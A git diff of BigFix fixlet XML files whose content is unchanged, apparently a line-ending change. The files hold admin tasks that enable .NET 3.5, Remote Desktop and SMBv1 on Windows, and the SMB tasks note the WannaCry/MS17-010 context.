-  </Task>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Task Export
+
+  Title    : Enable NetFx3 - .NET 2 & 3 - Windows Features
+  ID       : 22635
+  Author   : jgstew
+  Domain   : BESC
+  Imported : 2016-11-18T15:52:51
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Task>
+    <Title>Enable NetFx3 - .NET 2 &amp; 3 - Windows Features</Title>
+    <Description><![CDATA[&lt;enter a description of the task here&gt; ]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance><![CDATA[/* Windows 8 or later */ version of operating system >= "6.2"]]></Relevance>
+    <Relevance>not exists (it as version) whose(&quot;3.5&quot;=it) of following texts of firsts &quot;v&quot; of names of keys of keys &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\NET Framework Setup\NDP&quot; of (x64 registries;x32 registries)</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-05-20</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Fri, 18 Nov 2016 20:11:32 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">
+// disable wow64 redirection if x64 bit OS
+action uses wow64 redirection {not x64 of operating system}
+
+
+waithidden &quot;{pathname of system folder}\dism.exe&quot; /NoRestart /Quiet /online /enable-feature /featurename:NetFx3 { if ( (it contains &quot;Win2008R2&quot;) of name of operating system ) then &quot;&quot; else &quot;/all&quot; }
+
+// Restart Required
+action requires restart
+
+//  Raw Registry Location:
+// HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Component Based Servicing\Packages\Microsoft-Windows-Lxss-Optional-Package~31bf3856ad364e35~amd64~~10.0.14342.1000\Updates
+
+//  Related:
+// https://bigfix.me/fixlet/details/823
+// https://www.raymond.cc/blog/add-or-remove-windows-features-through-the-command-prompt/
+// http://www.infralib.com/2013/02/running-64bit-cmd-via-32bit-sccm-client/
+</ActionScript>
+      <SuccessCriteria Option="OriginalRelevance"></SuccessCriteria>
+    </DefaultAction>
+  </Task>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Enable Remote Desktop (3872).bes b/Sites/Windows Management/Fixlets/Fixlets/Enable Remote Desktop (3872).bes
index dfbb78209..c3932f6dd 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Enable Remote Desktop (3872).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Enable Remote Desktop (3872).bes	
@@ -1,37 +1,37 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Enable Remote Desktop
-  ID       : 3872
-  Author   : sinucus
-  Domain   : BESC
-  Imported : 2014-10-09T07:01:49
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Enable Remote Desktop</Title>
-    <Description><![CDATA[&lt;enter a description of the problem and the corrective action here&gt; ]]></Description>
-    <Relevance>name of operating system as lowercase starts with &quot;win&quot;</Relevance>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2012-08-20</SourceReleaseDate>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Thu, 09 Oct 2014 13:57:44 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">// Enter your action script here
-
-waithidden cmd.exe /C reg add &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server&quot; /v fDenyTSConnections /t REG_DWORD /d 0 /f
-
-waithidden cmd.exe /C netsh firewall set service type = remotedesktop mode = enable</ActionScript>
-    </DefaultAction>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Enable Remote Desktop
+  ID       : 3872
+  Author   : sinucus
+  Domain   : BESC
+  Imported : 2014-10-09T07:01:49
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Enable Remote Desktop</Title>
+    <Description><![CDATA[&lt;enter a description of the problem and the corrective action here&gt; ]]></Description>
+    <Relevance>name of operating system as lowercase starts with &quot;win&quot;</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2012-08-20</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Thu, 09 Oct 2014 13:57:44 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">// Enter your action script here
+
+waithidden cmd.exe /C reg add &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server&quot; /v fDenyTSConnections /t REG_DWORD /d 0 /f
+
+waithidden cmd.exe /C netsh firewall set service type = remotedesktop mode = enable</ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Enable Remote Desktop (RDP) (2458).bes b/Sites/Windows Management/Fixlets/Fixlets/Enable Remote Desktop (RDP) (2458).bes
index 5d5ed2bad..64ff4c6a7 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Enable Remote Desktop (RDP) (2458).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Enable Remote Desktop (RDP) (2458).bes	
@@ -1,50 +1,50 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Task Export
-
-  Title    : Enable Remote Desktop (RDP)
-  ID       : 2458
-  Author   : danielheth
-  Domain   : BESC
-  Imported : 2013-05-08T12:03:12
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Task>
-    <Title>Enable Remote Desktop (RDP)</Title>
-    <Description>Enable remote desktop settings in the registry. (RDP) </Description>
-    <Relevance>name of operating system starts with &quot;Win&quot;</Relevance>
-    <Relevance>exists value &quot;fDenyTSConnections&quot; whose (it != 0) of key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server&quot; of registry</Relevance>
-    <Category>Configuration</Category>
-    <Source>danielheth@bigfix.me</Source>
-    <SourceID>&lt;Unspecified&gt;</SourceID>
-    <SourceReleaseDate>2013-05-08</SourceReleaseDate>
-    <SourceSeverity>&lt;Unspecified&gt;</SourceSeverity>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Wed, 08 May 2013 17:02:29 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">
-regset &quot;[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server]&quot; &quot;fDenyTSConnections&quot;=dword:00000000
-//thanks sinucus (http://bigfix.me/user/sinucus) for this great addition:
-waithidden cmd.exe /C netsh firewall set service type= remotedesktop mode = enable
-</ActionScript>
-      <SuccessCriteria Option="OriginalRelevance"></SuccessCriteria>
-    </DefaultAction>
-    <Action ID="Action898">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to learn more about this setting.</PostLink>
-      </Description>
-      <ActionScript MIMEType="text/x-uri">http://technet.microsoft.com/en-us/library/cc782195(v=ws.10).aspx</ActionScript>
-    </Action>
-  </Task>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Task Export
+
+  Title    : Enable Remote Desktop (RDP)
+  ID       : 2458
+  Author   : danielheth
+  Domain   : BESC
+  Imported : 2013-05-08T12:03:12
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Task>
+    <Title>Enable Remote Desktop (RDP)</Title>
+    <Description>Enable remote desktop settings in the registry. (RDP) </Description>
+    <Relevance>name of operating system starts with &quot;Win&quot;</Relevance>
+    <Relevance>exists value &quot;fDenyTSConnections&quot; whose (it != 0) of key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server&quot; of registry</Relevance>
+    <Category>Configuration</Category>
+    <Source>danielheth@bigfix.me</Source>
+    <SourceID>&lt;Unspecified&gt;</SourceID>
+    <SourceReleaseDate>2013-05-08</SourceReleaseDate>
+    <SourceSeverity>&lt;Unspecified&gt;</SourceSeverity>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Wed, 08 May 2013 17:02:29 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">
+regset &quot;[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server]&quot; &quot;fDenyTSConnections&quot;=dword:00000000
+//thanks sinucus (http://bigfix.me/user/sinucus) for this great addition:
+waithidden cmd.exe /C netsh firewall set service type= remotedesktop mode = enable
+</ActionScript>
+      <SuccessCriteria Option="OriginalRelevance"></SuccessCriteria>
+    </DefaultAction>
+    <Action ID="Action898">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to learn more about this setting.</PostLink>
+      </Description>
+      <ActionScript MIMEType="text/x-uri">http://technet.microsoft.com/en-us/library/cc782195(v=ws.10).aspx</ActionScript>
+    </Action>
+  </Task>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Enable SMB protocols on the SMB server - Windows 8 and Windows Server 2012 (24319).bes b/Sites/Windows Management/Fixlets/Fixlets/Enable SMB protocols on the SMB server - Windows 8 and Windows Server 2012 (24319).bes
index 6b9c93815..4c5c6f65a 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Enable SMB protocols on the SMB server - Windows 8 and Windows Server 2012 (24319).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Enable SMB protocols on the SMB server - Windows 8 and Windows Server 2012 (24319).bes	
@@ -1,56 +1,56 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Enable SMB protocols on the SMB server - Windows 8 and Windows Server 2012
-  ID       : 24319
-  Author   : brolly33
-  Domain   : BESC
-  Imported : 2017-05-15T13:10:14
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Enable SMB protocols on the SMB server - Windows 8 and Windows Server 2012</Title>
-    <Description><![CDATA[<SPAN itemprop="description">
-<P>To support WannaCry2.0 SMB workaround if you cannot apply MS17-010 patch.</P>
-<P><A href="https://support.microsoft.com/en-us/help/2696547/how-to-enable-and-disable-smbv1,-smbv2,-and-smbv3-in-windows-vista,-windows-server-2008,-windows-7,-windows-server-2008-r2,-windows-8,-and-windows-server-2012"><FONT color=#0066cc>https://support.microsoft.com/en-us/help/2696547/how-to-enable-and-disable-smbv1,-smbv2,-and-smbv3-in-windows-vista,-windows-server-2008,-windows-7,-windows-server-2008-r2,-windows-8,-and-windows-server-2012</FONT></A></P>
-<P>Recommended you apply MS17-010 using the published Fixlets.</P></SPAN>]]></Description>
-    <Relevance>(if( name of operating system starts with &quot;Win&quot; ) then platform id of operating system != 3 else false) AND (if exists property &quot;in proxy agent context&quot; then ( not in proxy agent context ) else true )</Relevance>
-    <Relevance>(name of it = &quot;Win2012&quot; or name of it = &quot;Win2012R2&quot; or name of it = &quot;Win8&quot;) of operating system</Relevance>
-    <Relevance>not exists key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters&quot; whose (value &quot;SMB1&quot; of it != 0) of native registry</Relevance>
-    <Category>Workaround</Category>
-    <Source>brolly33</Source>
-    <SourceReleaseDate>2017-05-15</SourceReleaseDate>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Mon, 15 May 2017 20:03:54 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">// Using Powershell Template https://bigfix.me/fixlet/details/3860
-
-// Disable wow64 redirection on x64 OSes
-action uses wow64 redirection {not x64 of operating system}
-
-delete __createfile
-
-//    CREATEFILE
-createfile until END_OF_FILE
-
-Set-SmbServerConfiguration -EnableSMB1Protocol $true -Force
-
-END_OF_FILE
-
-delete powershell.ps1
-move __createfile powershell.ps1
-
-waithidden { pathname of file ((it as string) of value &quot;Path&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell&quot; of native registry) } -ExecutionPolicy Bypass -File powershell.ps1</ActionScript>
-    </DefaultAction>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Enable SMB protocols on the SMB server - Windows 8 and Windows Server 2012
+  ID       : 24319
+  Author   : brolly33
+  Domain   : BESC
+  Imported : 2017-05-15T13:10:14
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Enable SMB protocols on the SMB server - Windows 8 and Windows Server 2012</Title>
+    <Description><![CDATA[<SPAN itemprop="description">
+<P>To support WannaCry2.0 SMB workaround if you cannot apply MS17-010 patch.</P>
+<P><A href="https://support.microsoft.com/en-us/help/2696547/how-to-enable-and-disable-smbv1,-smbv2,-and-smbv3-in-windows-vista,-windows-server-2008,-windows-7,-windows-server-2008-r2,-windows-8,-and-windows-server-2012"><FONT color=#0066cc>https://support.microsoft.com/en-us/help/2696547/how-to-enable-and-disable-smbv1,-smbv2,-and-smbv3-in-windows-vista,-windows-server-2008,-windows-7,-windows-server-2008-r2,-windows-8,-and-windows-server-2012</FONT></A></P>
+<P>Recommended you apply MS17-010 using the published Fixlets.</P></SPAN>]]></Description>
+    <Relevance>(if( name of operating system starts with &quot;Win&quot; ) then platform id of operating system != 3 else false) AND (if exists property &quot;in proxy agent context&quot; then ( not in proxy agent context ) else true )</Relevance>
+    <Relevance>(name of it = &quot;Win2012&quot; or name of it = &quot;Win2012R2&quot; or name of it = &quot;Win8&quot;) of operating system</Relevance>
+    <Relevance>not exists key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters&quot; whose (value &quot;SMB1&quot; of it != 0) of native registry</Relevance>
+    <Category>Workaround</Category>
+    <Source>brolly33</Source>
+    <SourceReleaseDate>2017-05-15</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Mon, 15 May 2017 20:03:54 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">// Using Powershell Template https://bigfix.me/fixlet/details/3860
+
+// Disable wow64 redirection on x64 OSes
+action uses wow64 redirection {not x64 of operating system}
+
+delete __createfile
+
+//    CREATEFILE
+createfile until END_OF_FILE
+
+Set-SmbServerConfiguration -EnableSMB1Protocol $true -Force
+
+END_OF_FILE
+
+delete powershell.ps1
+move __createfile powershell.ps1
+
+waithidden { pathname of file ((it as string) of value &quot;Path&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell&quot; of native registry) } -ExecutionPolicy Bypass -File powershell.ps1</ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Enable SMBv1 Server - Windows 7, Windows Server 2008r2, Windows Vista, Windows Server 2008 (24315).bes b/Sites/Windows Management/Fixlets/Fixlets/Enable SMBv1 Server - Windows 7, Windows Server 2008r2, Windows Vista, Windows Server 2008 (24315).bes
index a3737f4f6..fe6942ac8 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Enable SMBv1 Server - Windows 7, Windows Server 2008r2, Windows Vista, Windows Server 2008 (24315).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Enable SMBv1 Server - Windows 7, Windows Server 2008r2, Windows Vista, Windows Server 2008 (24315).bes	
@@ -1,38 +1,38 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Enable SMBv1 Server - Windows 7, Windows Server 2008r2, Windows Vista, Windows Server 2008
-  ID       : 24315
-  Author   : brolly33
-  Domain   : BESC
-  Imported : 2017-05-15T11:05:11
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Enable SMBv1 Server - Windows 7, Windows Server 2008r2, Windows Vista, Windows Server 2008</Title>
-    <Description><![CDATA[<P>To support WannaCry2.0 SMB workaround if you cannot apply MS17-010 patch.</P>
-<P><A href="https://support.microsoft.com/en-us/help/2696547/how-to-enable-and-disable-smbv1,-smbv2,-and-smbv3-in-windows-vista,-windows-server-2008,-windows-7,-windows-server-2008-r2,-windows-8,-and-windows-server-2012">https://support.microsoft.com/en-us/help/2696547/how-to-enable-and-disable-smbv1,-smbv2,-and-smbv3-in-windows-vista,-windows-server-2008,-windows-7,-windows-server-2008-r2,-windows-8,-and-windows-server-2012</A></P>
-<P>Recommended you apply MS17-010 using the published Fixlets.</P>]]></Description>
-    <Relevance>(if( name of operating system starts with &quot;Win&quot; ) then platform id of operating system != 3 else false) AND (if exists property &quot;in proxy agent context&quot; then ( not in proxy agent context ) else true )</Relevance>
-    <Relevance>(name of it = &quot;Win2008R2&quot; OR name of it = &quot;Win2008&quot; or name of it = &quot;Win7&quot; or name of it = &quot;WinVista&quot;) of operating system</Relevance>
-    <Relevance>not exists key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters&quot; whose (value &quot;SMB1&quot; of it as integer = 1) of (native registries)</Relevance>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2017-05-15</SourceReleaseDate>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Mon, 15 May 2017 17:28:12 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">regset &quot;[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters]&quot; &quot;SMB1&quot;=dword:00000001
-</ActionScript>
-    </DefaultAction>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Enable SMBv1 Server - Windows 7, Windows Server 2008r2, Windows Vista, Windows Server 2008
+  ID       : 24315
+  Author   : brolly33
+  Domain   : BESC
+  Imported : 2017-05-15T11:05:11
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Enable SMBv1 Server - Windows 7, Windows Server 2008r2, Windows Vista, Windows Server 2008</Title>
+    <Description><![CDATA[<P>To support WannaCry2.0 SMB workaround if you cannot apply MS17-010 patch.</P>
+<P><A href="https://support.microsoft.com/en-us/help/2696547/how-to-enable-and-disable-smbv1,-smbv2,-and-smbv3-in-windows-vista,-windows-server-2008,-windows-7,-windows-server-2008-r2,-windows-8,-and-windows-server-2012">https://support.microsoft.com/en-us/help/2696547/how-to-enable-and-disable-smbv1,-smbv2,-and-smbv3-in-windows-vista,-windows-server-2008,-windows-7,-windows-server-2008-r2,-windows-8,-and-windows-server-2012</A></P>
+<P>Recommended you apply MS17-010 using the published Fixlets.</P>]]></Description>
+    <Relevance>(if( name of operating system starts with &quot;Win&quot; ) then platform id of operating system != 3 else false) AND (if exists property &quot;in proxy agent context&quot; then ( not in proxy agent context ) else true )</Relevance>
+    <Relevance>(name of it = &quot;Win2008R2&quot; OR name of it = &quot;Win2008&quot; or name of it = &quot;Win7&quot; or name of it = &quot;WinVista&quot;) of operating system</Relevance>
+    <Relevance>not exists key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters&quot; whose (value &quot;SMB1&quot; of it as integer = 1) of (native registries)</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2017-05-15</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Mon, 15 May 2017 17:28:12 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">regset &quot;[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters]&quot; &quot;SMB1&quot;=dword:00000001
+</ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Enable SMBv1 protocols on the SMB client - Windows Vista, Windows Server 2008, Windows 7, Windows Server 2008 R2, Windows 8, and Windows Server 2012 (24317).bes b/Sites/Windows Management/Fixlets/Fixlets/Enable SMBv1 protocols on the SMB client - Windows Vista, Windows Server 2008, Windows 7, Windows Server 2008 R2, Windows 8, and Windows Server 2012 (24317).bes
index 38dd0b89a..111e2d5ba 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Enable SMBv1 protocols on the SMB client - Windows Vista, Windows Server 2008, Windows 7, Windows Server 2008 R2, Windows 8, and Windows Server 2012 (24317).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Enable SMBv1 protocols on the SMB client - Windows Vista, Windows Server 2008, Windows 7, Windows Server 2008 R2, Windows 8, and Windows Server 2012 (24317).bes	
@@ -1,41 +1,41 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Enable SMBv1 protocols on the SMB client - Windows Vista, Windows Server 2008, Windows 7, Windows Server 2008 R2, Windows 8, and Windows Server 2012
-  ID       : 24317
-  Author   : brolly33
-  Domain   : BESC
-  Imported : 2017-05-15T12:11:02
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Enable SMBv1 protocols on the SMB client - Windows Vista, Windows Server 2008, Windows 7, Windows Server 2008 R2, Windows 8, and Windows Server 2012</Title>
-    <Description><![CDATA[<P>To support WannaCry2.0 SMB workaround if you cannot apply MS17-010 patch.</P>
-<P><A href="https://support.microsoft.com/en-us/help/2696547/how-to-enable-and-disable-smbv1,-smbv2,-and-smbv3-in-windows-vista,-windows-server-2008,-windows-7,-windows-server-2008-r2,-windows-8,-and-windows-server-2012">https://support.microsoft.com/en-us/help/2696547/how-to-enable-and-disable-smbv1,-smbv2,-and-smbv3-in-windows-vista,-windows-server-2008,-windows-7,-windows-server-2008-r2,-windows-8,-and-windows-server-2012</A></P>
-<P>Recommended you apply MS17-010 using the published Fixlets.<BR></P>]]></Description>
-    <Relevance>(if( name of operating system starts with &quot;Win&quot; ) then platform id of operating system != 3 else false) AND (if exists property &quot;in proxy agent context&quot; then ( not in proxy agent context ) else true )</Relevance>
-    <Relevance>(name of it = &quot;Win2008R2&quot; OR name of it = &quot;Win2008&quot; or name of it = &quot;Win7&quot; or name of it = &quot;WinVista&quot; or name of it = &quot;Win2012&quot; or name of it = &quot;Win8&quot;) of operating system</Relevance>
-    <Relevance>not exists key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\LanmanWorkstation&quot; whose (exists value &quot;DependOnService&quot; whose (it as string as lowercase contains &quot;MRxSmb10&quot; as lowercase)of it) of native registry</Relevance>
-    <Relevance>exists key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\mrxsmb10&quot; whose (value &quot;Start&quot; of it = 4) of native registry</Relevance>
-    <Category>workaround</Category>
-    <Source>brolly33</Source>
-    <SourceReleaseDate>2017-05-15</SourceReleaseDate>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Mon, 15 May 2017 18:54:46 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">// Enter your action script here
-wait sc.exe config lanmanworkstation depend= bowser/mrxsmb10/mrxsmb20/nsi
-wait sc.exe config mrxsmb10 start= manual</ActionScript>
-    </DefaultAction>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Enable SMBv1 protocols on the SMB client - Windows Vista, Windows Server 2008, Windows 7, Windows Server 2008 R2, Windows 8, and Windows Server 2012
+  ID       : 24317
+  Author   : brolly33
+  Domain   : BESC
+  Imported : 2017-05-15T12:11:02
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Enable SMBv1 protocols on the SMB client - Windows Vista, Windows Server 2008, Windows 7, Windows Server 2008 R2, Windows 8, and Windows Server 2012</Title>
+    <Description><![CDATA[<P>To support WannaCry2.0 SMB workaround if you cannot apply MS17-010 patch.</P>
+<P><A href="https://support.microsoft.com/en-us/help/2696547/how-to-enable-and-disable-smbv1,-smbv2,-and-smbv3-in-windows-vista,-windows-server-2008,-windows-7,-windows-server-2008-r2,-windows-8,-and-windows-server-2012">https://support.microsoft.com/en-us/help/2696547/how-to-enable-and-disable-smbv1,-smbv2,-and-smbv3-in-windows-vista,-windows-server-2008,-windows-7,-windows-server-2008-r2,-windows-8,-and-windows-server-2012</A></P>
+<P>Recommended you apply MS17-010 using the published Fixlets.<BR></P>]]></Description>
+    <Relevance>(if( name of operating system starts with &quot;Win&quot; ) then platform id of operating system != 3 else false) AND (if exists property &quot;in proxy agent context&quot; then ( not in proxy agent context ) else true )</Relevance>
+    <Relevance>(name of it = &quot;Win2008R2&quot; OR name of it = &quot;Win2008&quot; or name of it = &quot;Win7&quot; or name of it = &quot;WinVista&quot; or name of it = &quot;Win2012&quot; or name of it = &quot;Win8&quot;) of operating system</Relevance>
+    <Relevance>not exists key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\LanmanWorkstation&quot; whose (exists value &quot;DependOnService&quot; whose (it as string as lowercase contains &quot;MRxSmb10&quot; as lowercase)of it) of native registry</Relevance>
+    <Relevance>exists key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\mrxsmb10&quot; whose (value &quot;Start&quot; of it = 4) of native registry</Relevance>
+    <Category>workaround</Category>
+    <Source>brolly33</Source>
+    <SourceReleaseDate>2017-05-15</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Mon, 15 May 2017 18:54:46 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">// Enter your action script here
+wait sc.exe config lanmanworkstation depend= bowser/mrxsmb10/mrxsmb20/nsi
+wait sc.exe config mrxsmb10 start= manual</ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
